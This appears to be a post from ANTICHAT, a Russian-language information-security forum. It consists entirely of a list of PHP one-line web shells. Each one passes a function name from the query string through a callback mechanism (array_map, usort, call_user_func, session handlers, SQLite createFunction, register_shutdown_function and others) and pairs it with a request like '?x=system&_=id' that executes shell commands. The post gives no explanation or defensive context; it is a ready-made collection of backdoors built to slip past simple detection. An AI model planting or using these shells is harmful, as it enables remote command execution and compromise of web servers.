ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
array_map($_GET[x],$_GET);
?x=system&_=id

Code:
array_walk($_GET,$_GET[x]);
?x=system&_=id

Code:
array_udiff($_GET,$_GET,$_GET[x]);
?x=system&_=id&1

Code:
array_reduce([1],$_GET[x],$_GET[_]);
?x=system&_=id

Code:
array_udiff_assoc($_GET,$_GET,$_GET[x]);
?x=system&_=id

Code:
array_intersect_uassoc($_GET,$_GET,$_GET[x]);
?x=system&id=1

Code:
array_uintersect_uassoc($_GET, $_GET, $_GET[x],_);
?x=system&_=id

Code:
usort($_GET,$_GET[x]);
?x=system&_=id&1

Code:
uksort($_GET,$_GET[x]);
?x=system&id=1&1

Code:
call_user_func($_GET[x], $_GET[_]);
?x=system&_=id

Code:
call_user_func_array($_GET[x], $_GET);
?_=id&x=system

Code:
iterator_apply(new ArrayObject([1]),$_GET[w],$_GET);
?_=id&w=system

Code:
declare(ticks=1);
register_tick_function($_GET[x],$_GET[_]);
?x=system&_=id

Code:
class A
{
    function __construct() {
        forward_static_call($_GET[x],$_GET[_]);
    }
}
new A;
?x=system&_=id

Code:
class A
{
    function __construct() {
        forward_static_call_array($_GET[x],$_GET);
    }
}
new A;
?_=id&x=system

Code:
session_set_save_handler($_GET[x],_,_,_,_,_);
ini_set('session.save_path',$_GET[_]);
session_start();
?x=system&_=id

Code:
$x=$_GET[x];
$db = new SQLite3(':memory:');
$db->createFunction($x,$x);
$db->querySingle("select $x('$_GET[_]')");
?x=system&_=id

Code:
spl_autoload_register($_GET[x]);
new $_GET[_];
?x=system&_=id

Code:
ob_start($_GET[x]);
echo $_GET[_];
?>
?x=system&_=id

Code:
set_exception_handler($_GET[x]);
throw new Exception(";$_GET[_];#");
?_=id&x=system

Code:
register_shutdown_function($_GET[x],$_GET[_]);
?x=system&_=id